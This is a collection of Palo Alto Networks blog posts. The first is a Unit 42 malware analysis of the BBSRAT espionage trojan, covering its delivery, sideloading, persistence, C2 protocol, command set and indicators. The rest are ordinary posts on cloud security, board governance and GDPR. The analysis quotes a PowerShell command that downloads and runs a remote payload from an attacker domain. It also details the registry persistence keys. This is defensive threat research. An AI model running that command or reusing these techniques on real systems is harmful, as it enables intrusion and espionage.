Day: December 23, 2015

In late 2014, ESET presented an attack campaign that had been observed over a period of time targeting Russia and other Russian speaking nations, dubbed “Roaming Tiger”. The attack was found to heavily rely on RTF exploits and at the time, thought to make use of the PlugX malware family.

ESET did not attribute the attacks to a particular attack group, but noted that the objective of the campaign was espionage and general information stealing. Based on data collected from Palo Alto Networks AutoFocus threat intelligence, we discovered continued operations of activity very similar to the Roaming Tiger attack campaign that began in the August 2015 timeframe, with a concentration of attacks in late October and continuing into December.

The adversaries behind these attacks continued to target Russia and other Russian speaking nations using similar exploits and attack vectors. However, while the malware used in these new attacks uses similar infection mechanisms to PlugX, it is a completely new tool with its own specific behavior patterns and architecture. We have named this tool “BBSRAT.”

Targeting and Infrastructure

As described in earlier reports on “Roaming Tiger”, the attack observed in August 2015 used weaponized exploit documents that leave Russian language decoy document files after infecting the system. The files exploit the well-known Microsoft Office vulnerability, CVE-2012-0158, to execute malicious code in order to take control of the targeted systems.

Figure 1 Spear-phishing email delivering BBSRAT

In one case, the adversary impersonated an individual from the organization Vigstar, a Russian-based research organization in charge of the development of satellite communications and special purpose wireless devices for the Russian Federation’s defense and security agencies. The targeted email address appeared to be a Gmail account associated with Vigstar as well, and was found on a job board website for a job opening at Vigstar.

The rough translation of the body of the email is as follows:

I send you a “list of international exhibitions of military, civil and dual-purpose, conducted in 2015 on the territory of the Russian Federation and foreign states.” Waiting for your reply!

Figure 2 confirms that the decoy document that opens after the malware infects the system is indeed a list of international exhibitions that were conducted on Russian territory in 2015.

Figure 2 Decoy document that is opened after the malicious document has infected the system

In more recent months, we have identified several other potential Russian victims using AutoFocus. Analysis of the command and control (C2) infrastructure shows that the newly discovered samples of BBSRAT used the same C2 domains as previously published in the “Roaming Tiger” campaign, including transactiona[.]com and futuresgold[.]com. Interestingly, all of the previously published C2 domains have significant overlap amongst the hashes and IPs while C2s for BBSRAT contain no overlap at all. This may indicate that for the newer attack campaign using BBSRAT, the adversary may have deployed purpose-built variants and/or infrastructure for each of the intended targets.

Figure 3 Command and control infrastructure

BBSRAT Malware Analysis

Deployment Technique #1

BBSRAT is typically packaged within a portable executable file, although in a few of the observed instances, a raw DLL was discovered to contain BBSRAT. When the dropper first runs, it will generate a path in the %TEMP% directory. The generated filename is 10-16 uppercase alphabetic characters, and ends with a ‘.TMP’ file extension. The dropper will continue to write an embedded cab file in this location.

Figure 4 Header of CAB file dropped by BBSRAT

The malware will proceed to create one of the following directories depending on what version of Microsoft Windows is running on the target machine:

• %ALLUSERSPROFILE%\SSONSVR
• %ALLUSERSPROFILE%\Application Data\SSONSVR

Using the built-in expand.exe utility provided by Microsoft Windows, the dropper executes the following command, which will expand the CAB file and write the results to the provided directory:

expand.exe “%TEMP%\[temp_file]” Destination “[chosen_path]\SSONSVR”

This results in the following three files being written to the SSONSVR directory:

• aclmain.sdb
• pnipcn.dll
• ssonsvr.exe

The ‘ssonsvr.exe’ file is a legitimate Citrix executable that will be used to sideload the malicious ‘pnipcn.dll’ file. The ‘aclmain.sdb’ file contains code that will eventually be loaded by the ‘pnipcn.dll’ file.

The malware finally executes ‘ssonsvr.exe’ via a call to ShellExecuteW.

Figure 5 Execution flow of dropper expanding CAB file

When ‘ssonsvr.exe’ is executed, and the pnipcn.dll file is loaded, it will begin by identifying the path to msiexec.exe, by expanding the following environment string:

%SystemRoot%\System32\msiexec.exe

It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the ‘aclmain.sdb’ file and performs process hollowing against this instance of msiexec.exe prior to resuming the process.

Figure 6 Sideloading execution flow

In order to ensure persistence, the following registry key is written on the victim’s machine:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssonsvr.exe : [path_to_ssonsvr.exe]

Deployment Technique #2

In the most recently observed sample of BBSRAT found in AutoFocus, the Trojan was deployed via a downloader that used the Invoke-ReflectivePEInjection.ps1 script from the PowerSploit framework.

When the downloader executes, it will first decrypt the following two strings using a 5-byte XOR key of “\x01\x02\x03\x04\x05”:

“powershell -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘http://testzake[.]com/IR.ps1′);Invoke-ReflectivePEInjection -PEUrl http://testzake[.]com/s.exe”

“C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘http://testzake[.]com/IR.ps1′);Invoke-ReflectivePEInjection -PEUrl http://testzake[.]com/s.exe”

These strings are then sequentially executed via calls to WinExec. As we can see, the second command is specifically crafted to run on 64-bit versions of Microsoft Windows. The commands in question will download an executable file and run it within the context of the powershell process.

When the above commands are executed, the downloader will initially download the ‘IR.ps1’ powershell script from the specified URL:

Figure 7 Downloader downloading the Invoke-ReflectivePEInjection PowerSploit script

This Powershell script appears to have been pulled directly from the PowerSploit framework, with no modifications made. The malware then invokes this script with a URL that points to an additional executable file. This downloaded executable contains a copy of the BBSRAT malware family.

The downloader proceeds to drop either a 32-bit or 64-bit DLL file that will execute the two previously stated Powershell commands when the DLL is loaded. This DLL is dropped to one of the following locations:

%SYSTEMROOT%\web\srvcl32.dll

%APPDATA%\web\srvcl32.dll

Additionally, the following registry keys are set depending on the system’s CPU architecture:

HKU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32\ThreadingModel – “Both”
HKU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32\Default – [path_to_srvcl32.dll]

HKLM\SOFTWARE\Classes\CLSID\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InprocServer32\ThreadingModel – “Both”
HKLM\SOFTWARE\Classes\CLSID\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InprocServer32\Default – [path_to_srvcl32.dll]

The COM object for {42aedc87-2188-41fd-b9a3-0c966feabec1} is specific to ‘MruPidlList’, while the COM object for {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} is specific to ‘Microsoft WBEM New Event Subsystem’. This ensures that the DLL specified will load when Microsoft Windows starts. It is a technique that was used by the ZeroAccess rootkit when it initially surfaced.

BBSRAT Execution

After being loaded using one of the two techniques discussed, BBSRAT malware begins execution by loading the following libraries at runtime:

• ntdll.dll
• kernel32.dll
• user32.dll
• advapi32.dll
• gdi32.dll
• ws2_32.dll
• shell32.dll
• psapi.dll
• Secur32.dll
• WtsApi32.dll
• Netapi32.dll
• Version.dll
• Crypt32.dll
• Wininet.dll

The following mutex is then created to ensure a single instance of BBSRAT is running at a given time:

Global\GlobalAcProtectMutex

Throughout the execution of BBSRAT, it will dynamically load functions prior to calling them, as seen in the example below demonstrating BBSRAT making a call to the WSAStartup function:

Figure 8 BBSRAT calling WSAStartup function

The malware proceeds to parse the stored embedded network configuration and spawns a series of threads responsible for network communication. This includes a series of HTTP or HTTPS requests, such as the following:

GET /bbs/1/forum.php?sid=1 HTTP/1.1
Cookie: A46A8AA9-D7D6-43FB-959DC96E
Content-Length:
User-Agent: Mozilla/4.0 (compatible; Windows NT 5.1)
Connection: Keep-Alive
Host: transactiona[.]com
Cache-Control: no-cache
Accept: */*
Content-Type:

In the above example, the ‘1’ used both in the URI and the sid GET parameter is a global incremental counter. Every subsequent request made by BBSRAT increments this counter by one. Additionally, all variants of BBSRAT we have found use the same URL for command and control (C2) communication.

When first executed, the malware will exfiltrate data about the victim’s machine via a POST request to the ‘/bbs/[counter]/forum.php?sid=[counter]’ URL. All network data sent via POST requests uses a custom binary structure, as defined as the following:

The compressed_data field is compressed using the common ZLIB compression algorithm. Additionally, in the event data is being sent via HTTP rather than HTTPS, the following additional encryption algorithm is applied to the POST data:

The following data structure holds the victim’s information that is uploaded by BBSRAT:

BBSRAT accepts many possible commands that the C2 server can provide. These commands are sent as a response to the GET beacons that are continually requested via either HTTP or HTTPS. The following commands and sub-commands have been identified:

Command	Sub-command	Description
0x110010	N/A	Beacon
0x110011	N/A	Uninstall/Kill Malware
0x110020	N/A	Upload Victim Information
0x110064	0x2	Execute Command and Return Response
0x110064	0x4	Unknown
0x110064	0x5	Execute Shellcode
0x110066	0x7	Query Service Configuration
0x110066	0x9	Start Service
0x110066	0xa	Stop Service
0x110066	0xb	Delete Service
0x110066	0xc	Change Service Configuration
0x110063	0xd	Enumerate Running Processes
0x110063	0xf	Kill Process
0x110063	0x10	Get Process Information
0x110063	0x12	Free Library for Specified Process
0x110065	0x1b	Execute Command Quietly
0x110065	0x1e	Send Input to Console
0x110065	0x1f	Execute Shellcode
0x110061	0x20	List Drive Information
0x110061	0x21	List File Information For Given Directory
0x110061	0x23	Write File
0x110061	0x24	Read File
0x110061	0x25	List File Information For Given Directory
0x110061	0x27	Perform File Operation via SHFileOperation()
0x110061	0x28	Delete File
0x110061	0x29	Create Directory
0x110061	0x2a	Shell Execute

Please refer to the appendix for a full list of identified BBSRAT samples and their associated C2 servers.

Conclusion

As in many of the previous articles regarding espionage-motivated adversaries and possible nation-state campaigns, what is being observed in this attack campaign is a continued operation and evolution by the adversary even after its tactics, techniques, and procedures (TTPs) have become public knowledge. Despite the fact that the information about these attackers has been public for over a year, including a listing of many of the command and control servers, they continue to reuse much of their exposed playbook. We urge organizations to use the data from Unit 42 and other threat intelligence sources is paramount to proactively secure themselves and prevent attacks.

WildFire properly classifies BBSRAT malware samples as malicious. We have released DNS signatures to block access to the C2 domain names included in this report. AutoFocus users can explore these attacks using the BBSRAT malware family tag.

Appendix

YARA Rule

BBSRAT Samples

MD5	EF5FA2378307338D4E75DECE88158D77 (Sample Analyzed)
SHA1	574230D89EABDE0B6F937CD718B3AD19BB4F5CE3
SHA256	FC4B465EE8D2053E9E41FB0A6AE32843E4E23145845967A069E584F582279725
Compile Time	2014-12-26 17:17:00 UTC
Network Protocol	HTTPS
C2 Server(s)	transactiona[.]comfinancenewsru[.]net

 

MD5	2254A1CA05DB87D9D58A71DDB97C7395
SHA1	65B17D3FF68D25392A9B0B9E25A275540DFB4E8D
SHA256	567A5B54D6C153CDD2DDD2B084F1F66FC87587DD691CD2BA8E30D689328A673F
Compile Time	2015-11-04 07:14:33 UTC
Network Protocol	HTTPS
C2 Server(s)	jowwln[.]cocolco[.]compagbine[.]ofhloe[.]com cdaklle[.]housejjk[.]com

 

MD5	74A41C62D9EC1164AF82B802DA3E8B3E
SHA1	D390E0965823E42584F2799EF0E8161A6540AF3E
SHA256	77A2E26097285A794E42C9E813D14936D0E7A1DD3504205DD6B28A71626F8C3C
Compile Time	2015-11-04 07:14:33
Network Protocol	HTTPS
C2 Server(s)	kop[.]gupdiic[.]com

 

MD5	C17534E4B61C08A7646CDC64574B429B
SHA1	931BAB999568C228616430A5AEDFEDFC34E1F151
SHA256	61A692E615E31B97B47A215479E6347FBD8E6E33D7C9D044766B4C1D1AE1B1FB
Compile Time	2015-11-04 07:14:33 UTC
Network Protocol	HTTPS
C2 Server(s)	herman[.]eergh[.]com

 

MD5	C7C79393E762E7ED925F42D3C899BA60
SHA1	7406B11851200D0ADA1A8334107182D636738CE5
SHA256	B1737F3A1C50CB39CD9938D5EC3B4A6A10B711F17E917886481C38967B93E259
Compile Time	N/A
Network Protocol	HTTP
C2 Server(s)	211.44.42[.]55

 

MD5	0EA888E970345B2FBFD74B369FE46DDD
SHA1	EB4F9BDE2FFAE863E0D7AD5848A758D59224C3F7
SHA256	56D878EDD61176CA30D4A41555671161158E94E8A50E5482985F42C4E4843CB5
Compile Time	2015-08-25 09:33:57 UTC
Network Protocol	HTTPS
C2 Server(s)	crew[.]wichedgecrew[.]comblueway[.]garmio-drive[.]com helloway[.]floretdog[.]com

 

MD5	FA944818A939456A7B6170326C49569F
SHA1	0EB3AE28A7A7D97ABA30DA4E8EB0A4AB36EFD035
SHA256	22592A32B1193587A707D8B20C04D966FE61B37F7DEF7613D9BB91FF2FE9B13B
Compile Time	2015-08-25 09:33:57 UTC
Network Protocol	HTTPS
C2 Server(s)	panaba[.]empleoy-plan[.]comkop[.]gupdiic[.]com peak[.]measurepeak[.]com

 

MD5	896691AE546F498404F5884607D6EB50
SHA1	91A176EB5B2436762B9898075EC66042E33615A3
SHA256	13D0BD83A023712B54C1DD391DFC1BC27B22D9DF4FE3942E2967EC82D7C95640
Compile Time	N/A
Network Protocol	HTTP
C2 Server(s)	211.44.42[.]55

 

MD5	A78B9438117963A9A18B2F056888498B
SHA1	98E79C065DB88B4686AB5B7C36C4524333D64C48
SHA256	E049BD90028A56B286F4B0B9062A8DF2AB2DDF492764E3962F295E9CE33660E3
Compile Time	2014-12-26 17:17:00 UTC
Network Protocol	HTTP
C2 Server(s)	211.44.42[.]55support.yandexmailru[.]kr

 

MD5	B4927EAC9715014E17C53841FEEDF4E1
SHA1	26E8CFD13175B67C12FC72A11FBDBC749F0B61C0
SHA256	2D81D65D09BF1B864D8964627E13515CEE7DEDDFBD0DC70B1E67F123AB91421E
Compile Time	2014-12-26 17:17:00 UTC
Network Protocol	HTTPS
C2 Server(s)	kop[.]gupdiic[.]companaba[.]empleoy-plan[.]com peak[.]measurepeak[.]com

 

MD5	41A02CAF0A0D32FAD5418425F9973616
SHA1	CC83EA6EF4763F24193D56359590BB34127DD36E
SHA256	7438ED5F0FBE4B26AFED2FE0E4E4531FC129A44D8EA416F12A77D0C0CD873520
Compile Time	2015-08-25 09:33:57 UTC
Network Protocol	HTTPS
C2 Server(s)	herman[.]eergh[.]comprdaio[.]unbrtel[.]com loomon[.]gupdicc[.]com

 

MD5	AA59EE1E40D22BD22CEE19B8B6A17DF3
SHA1	963E0AD3EC717253A8E74F45D3C552107D6ECACA
SHA256	6FAE5305907CE99F9AB51E720232EF5ACF1950826DB520A847BF8892DC9578DE
Compile Time	2014-12-26 17:17:00 UTC
Network Protocol	HTTPS
C2 Server(s)	winwordupdate[.]dynu[.]com

 

MD5	B934BF027EC3A9DFCAE9D836D68BAB75
SHA1	E9744516E621B233C44F5854C0DF63FFDD62FB81
SHA256	0BAF36CA2D3772FDFF989E2B7E762829D30DB132757340725BB50DEE3B51850C
Compile Time	2014-12-26 17:17:00 UTC
Network Protocol	HTTPS
C2 Server(s)	transactiona[.]comfinancenewsru[.]net

 

MD5	7533E65A16B4B3BA451A141F389D3A30
SHA1	CB46E6234DA0A9C859C1F71FFEB86100284A0142
SHA256	D579255852720D794349AE2238F084C6393419AF38479F3D0E3D2A21C9EB8E18
Compile Time	2014-12-26 17:17:00 UTC
Network Protocol	HTTPS
C2 Server(s)	winwordupdate[.]dynu[.]comadobeflashupdate1[.]strangled[.]net

 

MD5	8CD233D3F226CB1BF6BF15ACA52E0E36
SHA1	B955CA4AA8F7181C2252C4699718F6FEFC0B9CE3
SHA256	95F198ED29CF3F7D4DDD7CF688BFEC9E39D92B78C0A1FD2288E13A92459BDB35
Compile Time	2015-09-22 06:16:44 UTC
Network Protocol	HTTP
C2 Server(s)	www[.]testzake[.]com

PowerSploit Downloader

MD5	0AA391DC6D9EBEC2F5D0EE6B4A4BA1FA
SHA1	D238C157F87204D03C9005AF9A9CBC28C108E50A
SHA256	71DC584564B726ED2E6B1423785037BFB178184419F3C878E02C7DA8BA87C64D
Compile Time	2015-09-21 11:59:18 UTC
Network Protocol	HTTP
C2 Server(s)	www[.]testzake[.]com

IOCs

Hashes

61a692e615e31b97b47a215479e6347fbd8e6e33d7c9d044766b4c1d1ae1b1fb
22592a32b1193587a707d8b20c04d966fe61b37f7def7613d9bb91ff2fe9b13b
2d81d65d09bf1b864d8964627e13515cee7deddfbd0dc70b1e67f123ab91421e
d579255852720d794349ae2238f084c6393419af38479f3d0e3d2a21c9eb8e18
0fc52c74dd54a97459e964b340d694d8433a3229f61e1c305477f8c56c538f27
567a5b54d6c153cdd2ddd2b084f1f66fc87587dd691cd2ba8e30d689328a673f
95f198ed29cf3f7d4ddd7cf688bfec9e39d92b78c0a1fd2288e13a92459bdb35
6fae5305907ce99f9ab51e720232ef5acf1950826db520a847bf8892dc9578de
b1737f3a1c50cb39cd9938d5ec3b4a6a10b711f17e917886481c38967b93e259
71dc584564b726ed2e6b1423785037bfb178184419f3c878e02c7da8ba87c64d
4ea23449786b655c495edf258293ac446f2216464b3d1bccb314ef4c61861101
0baf36ca2d3772fdff989e2b7e762829d30db132757340725bb50dee3b51850c
012ec51657d8724338a76574a39db4849579050f02c0103d46d406079afa1e8b
e049bd90028a56b286f4b0b9062a8df2ab2ddf492764e3962f295e9ce33660e3
77a2e26097285a794e42c9e813d14936d0e7a1dd3504205dd6b28a71626f8c3c
5aa7db3344aa76211bbda3eaaccf1fc1b2e76df97ff9c30e7509701a389bd397
fc4b465ee8d2053e9e41fb0a6ae32843e4e23145845967a069e584f582279725
44171afafca54129b89a0026006eca03d5307d79a301e4a8a712f796a3fdec6e
7438ed5f0fbe4b26afed2fe0e4e4531fc129a44d8ea416f12a77d0c0cd873520
13d0bd83a023712b54c1dd391dfc1bc27b22d9df4fe3942e2967ec82d7c95640

Domains

adobeflashupdate.dynu[.]com
adobeflashupdate1.strangled[.]net
cdaklle.housejjk[.]com
futuresgolda[.]com
herman.eergh[.]com
jowwln.cocolco[.]com
kop.gupdiic[.]com
loomon.gupdiicc[.]com
pagbine.ofhloe[.]com
panaba.empleoy-plan[.]com
peak.measurepeak[.]com
prdaio.unbrtel[.]com
support.yandexmailru[.]kr
systemupdate5.dtdns[.]net
testzake[.]com
transactiona[.]com
wap.gxqtc[.]com
wap.hbwla[.]com
wap.kylxt[.]com
windowsupdate.dyn[.]nu
winwordupdate.dynu[.]com
http://www.testzake[.]com
http://www.yunw[.]top

Bryan Lee and Josh Grunzweig

[Palo Alto Networks Blog]

Over the past few months, I have had the opportunity to talk with a wide range of customers and prospects about their public and private cloud initiatives. Two common themes have arisen from these conversations. The first is that, while there is significant interest in leveraging the public cloud (Amazon Web Services and Azure in particular), there are many questions that still need to be answered. The second and more interesting theme was how organizational changes and an increased focus on DevOps can help improve cloud security.

Here’s why.

While participating in a cloud–focused roundtable with 30 or so CIOs/CISOs, I heard about how organizations are looking to move to the public cloud, what some of the concerns are, and how some are addressing them. The public cloud use cases I heard are primarily internal applications or those that present lower risk. One example was an internal, process-intensive forecasting tool that took days to run. In AWS, they can scale the CPU cycles up and run the application in a matter of hours – a perfect use of the public cloud. In other conversations, all internal application development is moved to the cloud, and separate resources are applied to development, testing, and production. Another way to look at it is that users are taking a cautious approach to testing the public cloud waters.

Most of the 90-minute conversation we had at the roundtable centered on risks and how to manage them. One participant was working to set up a process by which security, networking, and server teams would work together to decide which apps to move to the cloud. As part of the process, he was developing a set of criteria that would be used to decide if the associated data was cloud-worthy.

A second, significant conversation centered on documentation, and who should sign off on what is moved to the cloud. The feeling from most everyone was that most of the exec team should be aware of the efforts and associated risks – some food for thought there.

At both the roundtable and some of my customer engagements, I have been asking how users are managing the dynamics of security, networking and server/development teams. The answers vary widely. Some users admit they are managing it poorly: the groups operate in silos and security is deemed a bottleneck. To break down the walls, one user began holding social functions to bring the groups together with the premise being “get to know your co-worker.” The goal here is that, if they have some familiarity with each other, they may work more efficiently together. At least four of the other users I spoke with had taken the dramatic step of reorganizing the teams so they are working hand in hand. In addition to reorganizing, several took an additional step of offering and encouraging outside education as a means of expanding their skill set. This last step not only provides confidence in the uncertain times of reorganization but also enhances the user’s career – a win on both sides in many cases.

A final observation is that DevOps teams have become more engaged in the effort to include network security in their development efforts, and not just in their coding practices. In this case, network security is being baked into the application as it is developed through the use of tags and APIs.

These elements enable automation, a key tenant in the move towards cloud-first/cloud-ready development efforts. As new application workloads are added, tags assigned to the workloads can be used to automatically add the workload to the security policy. The result is security that keeps pace with the business.

The takeaways from these conversations were that organizations are moving to the public cloud in the right way: with an eye toward benefiting the business and an appropriate level of caution.

What are you doing to bring these teams together in your organization? Leave a comment and let me know.

Matt Keil

[Palo Alto Networks Blog]

This is the twelfth in our series of cybersecurity predictions for 2016. Stay tuned for more through the end of the year.

After yet another year of significant breaches of major organizations, senior executives have finally woken up to the threat of cyberattacks and are searching for answers to how to make the proper investments in people, process, and technology to develop a prevention mindset. To me, this will manifest itself in several ways in 2016:

The number of boards that actively address and govern computer and information security will increase

It has been a tough few years for companies and organizations seeking to avoid the headlines after suffering a major data breach, as hundreds of millions of records have been stolen from organizations, compromising sensitive intellectual property, credit card numbers, and even personal health information. In turn, corporate executives and boards of directors have realized that cybersecurity represents a significant enterprise risk and have shifted to risk management approaches in order to better fulfill their fiduciary obligations to protect the assets of their organizations.

In 2015 we witnessed a definitive shift in the way that senior corporate leadership and boards view cybersecurity; the needle has moved. Indeed, the 2015 Governance of Cybersecurityreport from Georgia Tech and Palo Alto Networks found that 63 percent of boards are actively addressing and governing computer and information security – nearly a two-fold increase from the 2012 report.

In 2016 we will continue to see this upward trend of active, board-level governance of cybersecurity activities, as cyber becomes more relevant to most, if not all, lines of business operations. Because of the rapid growth in threats to physical infrastructure, in particular, we predict, and trends support, that boards in the industrial and energy/utility industries will continue to raise their levels of involvement and governance to those of the financial services and IT/telecom industries.

Executives and board members will shift from awareness to accountability and action

With the entrenchment of cybersecurity as a senior executive and board-level issue, awareness campaigns will become less pertinent and there will be an increased focus on practical business-level cybersecurity discussions aimed at helping boards and executives better protect their businesses. In 2016, boards and executives will “get it,” and will, consequently, need better advice on “what to do about it.”

While, as mentioned above, two-thirds of boards are actively addressing and governing cybersecurity, another 2015 survey conducted by the New York Stock Exchange and Veracodefound that only a third of boards have some degree of confidence that their companies are properly secured against cyberattacks. The same survey also found that boards are most likely to hold the CEO and the entire executive team accountable for a major incident.

With executives and boards more focused on CEOs, and executive teams clearly identified as accountable for managing cybersecurity risk, we believe that 2016 will see increasing interest in business-level frameworks to assist in related decision-making. While there are many technical security models, executives and boards lack similar models to evaluate the essential productivity-versus-risk question of cybersecurity. Moreover, unlike other functions of a business, cybersecurity does not yet have well-established and rigorous analytical tools to inform decision-making. Nevertheless, there are several efforts underway to address this gap.

Expect to see increasing attention paid to the work of organizations like the World Economic Forum, which this year debuted a “cyber value-at-risk” framework at its Annual Summit in Davos, Switzerland that attempts to capture existing vulnerabilities, value of assets, and profile of attackers with the ultimate goal of modeling potential losses related to cybersecurity incidents over a given period of time at a high confidence level.

Following the landmark move of Institutional Shareholder Services (ISS) to advise against the re-election of seven of Target’s ten board members in the wake of that company’s major 2014 breach, expect to see more cybersecurity-related shareholder action in 2016’s proxy season, particularly for companies that have experienced incidents to date.

Restructuring cybersecurity governance and reporting

Finally, we predict that 2016 will bring a major shift in that more CISOs will report directly to the CEO, putting those individuals on par with other senior officers. The CEO is ultimately responsible for the risk of a business, a responsibility he or she cannot delegate to any subordinate. As companies continue to shift toward a risk management approach to cybersecurity, the CISO and CIO must be peers to allow for a healthy and balanced productivity-versus-risk discussion that informs decision-making. This represents a significant departure from the status quo of CISO reporting, and this shift will take time, but we believe it will begin in earnest next year.

Want to explore more of our top 2016 cybersecurity predictions? Register now for Ignite 2016.

Will Howerton

[Palo Alto Networks Blog]

On the 15th of December, after much debate, what was first proposed back in 2012 will finally be established: the European Union has come to agreement on the General Data Protection Regulation (GDPR), which updates and replaces Europe’s Data Protection Directive – rules that were first defined in 1995 (directive 95/46/EC).

As business and cybersecurity leaders, what’s critical is the way in which we choose to interpret and respond to these changes that are now defined.

Why reform the Data Protection laws?

Since 1998, when the Data Protection Directive was originally implemented, the scale and scope of information stored online has significantly changed, so it makes sense to review the requirements to protect citizens’ privacy when online.

It is also a chance to make the regulation more manageable for businesses to follow; for example, it aims to reduce the audit burden and simplify application by harmonization across member countries. Previously each country had interpreted the directive in its own way, creating 28 flavors of the rules.

The new GDPR has garnered significant attention as it has been negotiated. One provision that has created much debate is the planned requirement for companies holding EU citizens’ data to have to notify their national regulator of any significant breach of personal data “without undue delay and, where feasible, not later than 72 hours after having become aware of it”.

Seen through numerous research reports, it often takes months to identify and respond to breaches today. The introduction of common GDPR penalties (capped at €10M–20M or 2%–4% of total worldwide annual turnover dependent on the type and level of infringement related to breaches, such as failure to notify) has made this a focal point as, commonly, the penalties and breach notification make headlines. For many the fear of brand impact and potential fines grabs the attention of most businesses. However the scope of fines is broader, as shown in the examples in the table, below (please note: this is not exhaustive or complete list):

Specifically in regard to breach notification, these penalties are not aimed to kick a business when it’s down, rather encourage businesses to notify in the defined time scales and ensure they have the appropriate “regard for the state of the art” controls in place to prevent such incidents from occurring.

The GDPR states that companies must implement appropriate technical and organizational measures with regard to the “state of the art”, that can ensure a level of security appropriate to risk. Fines aligned to articles in the revision, I would suggest, aim to be the motivator for businesses to raise the bar on good cybersecurity application. As citizens we expect businesses to comply to keep our data safe.

Your core decision?

It would be easy to review the above and consider your focus must now be on incident response; that typically means either building or growing the staff and capabilities you have in order to both discover and do the forensic analysis on a cyber incident.

The challenge here is threefold: firstly it does not address the cause of the breach problem; secondly it’s dependent on a skilled staff, which is a limited resource; thirdly it’s costly both in terms of the money and people required if you keep needing to respond.

As mentioned the regulation reform highlights the need for “regard for the state of the art”; my encouragement would be that this is where you should focus. If you have better protection so preventing incidents, you take away the heavy response requirements.

So why are we seeing more and more breaches in recent times?

Cybersecurity today is as complex as the IT that it’s protecting, with multiple components that must function together to identify and block the attacker. The challenge is that it’s based on legacy underpinnings.

Consider the city of London, which is believed to have been founded in 43 A.D. The transport infrastructure put in by the Romans soon after, which is still the foundation of much of the city’s key roads, simply struggle to stand up to today’s demands. If London traffic is typically a jam, consider some modern cities that have far more effective systems build leveraging modern state-of-the-art concepts, such as driverless cars, alternative transport, and traffic management systems to mention but a few.

In much the same way, we have put in security products based on their own capabilities; yet, today we have so many, the demands they each add independently stretch IT teams; then add the multiplier effect of getting them to work together. Quite literally we leverage some great technologies, but the underlying infrastructure is lacking and manual, so we are slow to find today’s complex attacks that require gathering data from across multiple solutions. The key point here is that “state of the art” means leveraging both the technical capabilities available today and the processes that allow people to function efficiently. The overall capabilities cannot be constrained by legacy components.

Considerations as you start to plan to comply with the GDPR

Obviously there are some key aspects, such as ensuring you understand the details and the timelines of the regulation, and its adoption, as they are published. But as you start to consider your strategy around achieving state of the art, or at least regard for it, ask yourself the following questions: 

• Is your cyber strategy and underlying infrastructure as old as the Data Protection Directive?

Cyber and the security available to enable it evolve at a tremendous pace. When did you last step back and consider just what is possible in terms of good, state-of-the-art cybersecurity best practices? Then define the transformation plan to move your business to this. For most the legacy challenge is the shackles that holds us back. If you were to build a cybersecurity strategy from scratch today, I suspect there would be some significant changes from what you have in place currently.

• How do you measure “state-of-the-art cybersecurity”?

Today the most common measure I see used is: did we find it, which, given enough tools and resources we can always achieve; however most don’t have unlimited access to either. Considering that the volume of threats seems only likely to increase, so will the scale of information we need to protect; we need to become increasingly efficient. As such we need a measure that looks at efficiency, which for me would be: How long does it take to detect? This is a measure we can monitor reactively but also proactively test. I would challenge that, when you fall below what you consider your acceptable timeframe, your security is no longer state- of-the-art, and you should be reviewing what and how you adapt/evolve to return to your defined measure.

• What is the acceptable workload for any security solution (operational efficacy and efficiency)?

To work at digital speed, you need solutions that are operationally efficient. You must consider what is an acceptable level of human interaction for any solution. Typically the lower the efficacy and/or the greater the human interaction the more you move from an automated to a manual solution. Today’s threats typically require correlation across multiple solutions to accurately detect; so, when considering the workload, you must also consider both the individual overhead and additional overhead needed to aggregate/correlate into a single platform.

All of these should start to identify just what the gap is today in your organization, allowing you to define the transformation plan to meet the requirements set out in the regulation reform.

Summary

Over the coming months, there will be a huge amount of discussion around the reform of data protection in the EU. The GDPR enters into force once published in the Official Journal of the European Union – a step that still needs to occur and will apply two years from that date. Thus, it is likely to be fully in effect in early 2018. Until now most held back from action, as the scope was not finalized.

Now you have a clear understanding of the expectations as you move from awareness to action.

In one respect this allows you to gain additional support from the business, as the new regulation is a very clear business mandate and driver; yet how we turn this into action, I would suggest, is open to interpretation. You can focus in on the notification requirement; or you can focus in on the underlying principle behind the reform, which was to raise the bar on cybersecurity, pulling capabilities closer to the state of the art that would better protect citizens’ data and prevent breaches from occurring. Nirvana would be that we never have to notify; the more we can move to an automated state-of-the-art approach that scales to current and future IT requirements, the closer we will get.

Greg Day

[Palo Alto Networks Blog]

Last week we hosted the first ever Unit 42 Twitter chat with several of our Unit 42 experts, including Ryan Olson (@ireo), Jen Miller Osborn (@jadefh), Robert Falcone (@r0bf4lc), and Bryan Lee (@obiwanblee). The chat, “Sure Things and Long Shots, A Look at the 2016 Threat Landscape,” tackled questions from the biggest shifts in the threat landscape to the most effective measures to protect against those threats, and the best ways people can protect themselves in 2016.

The #PANWchat also served as the official launch of the new @Unit42_Intel Twitter handle, which moderated yesterday’s chat. Make sure to follow @Unit42_Intel for the latest from our Unit 42 team.

Take a look at some of the highlights from the chat below or catch up on the entire conversation through the #PANWchat hashtag. And be sure to check out our ongoing series of predictions for 2016!

How do you see threat landscape continuing to evolve in 2016?

What have been the most effective measures to protect against those threats?

What is your most surprising “long shot” prediction for 2016? Why?

How can the average consumer protect themselves against the threats of 2016?

How will the practice of threat research evolve in 2016?

Thank you to everyone who participated in and followed the #PANWchat. We look forward to doing more of these chats in the future.

In the meantime, make sure to follow @Unit42_Intel for the latest research reports and news from Unit 42, the Palo Alto Networks threat intelligence team.

Anna Lough

[Palo Alto Networks Blog]